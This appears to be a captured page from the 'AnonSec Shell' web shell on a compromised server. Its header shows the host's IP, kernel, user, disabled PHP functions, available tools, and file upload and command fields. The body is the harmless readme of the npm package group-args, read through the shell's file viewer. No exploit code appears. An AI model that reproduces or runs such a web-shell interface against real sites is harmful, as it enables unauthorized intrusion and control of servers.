AnonSec Shell
Server IP : 185.86.78.101  /  Your IP : 216.73.216.124
Web Server : Apache
System : Linux 675867-vds-valikoshka1996.gmhost.pp.ua 5.4.0-150-generic #167-Ubuntu SMP Mon May 15 17:35:05 UTC 2023 x86_64
User : www ( 1000)
PHP Version : 7.4.33
Disable Function : passthru,exec,system,putenv,chroot,chgrp,chown,shell_exec,popen,proc_open,pcntl_exec,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,imap_open,apache_setenv
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /www/wwwroot/mifepriston.org/node_modules/group-args/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /www/wwwroot/mifepriston.org/node_modules/group-args/readme.md
# group-args [![Build Status](https://travis-ci.org/bezoerb/group-args.svg?branch=master)](https://travis-ci.org/bezoerb/group-args)

> CLI helper to group commandline arguments


## Install

```
$ npm install --save group-args
```


## Usage

```bash
node ./cli.js --foo --bar something --group-a 1 --group-b 2
```
```js
const groupArgs = require('group-args');

// process.argv: [
groupArgs('group');
//=> {foo: true, bar: 'something', group: { a: 1, b: 2 }}
```


## API

### groupArgs(key, [options], [minimistOptions])

#### key

Type: `string|array|object`

Group arguments by key. When passing an object it is
Could be `'key'`, `['key1','key2']`, `{alias1: 'key1', alias2: 'key2'}`

#### options

##### argv

Type: `array|object`<br>
Default: `process.argv.slice(2)`

Arguments array or already parsed arguments.

##### delimiter

Type: `string`<br>
Default: `-`

Delimiter between group identifier & key.

##### strict

Type: `bool`<br>
Default: `true`

Disable to allow camelCased arguments provided by e.g. [`meow`](https://github.com/sindresorhus/meow)

##### alias

Type: `string`<br>
Default: `undefined`

Alias for identifier (short opt)

##### camelCase

Type: `bool`<br>
Default: `true`

camelCase grouped arguments

#### minimistOptions

See [`minimist`](https://github.com/substack/minimist#var-argv--parseargsargs-opts)

## License

MIT © [Ben Zörb](http://sommerlaune.com)

Anon7 - 2022
AnonSec Team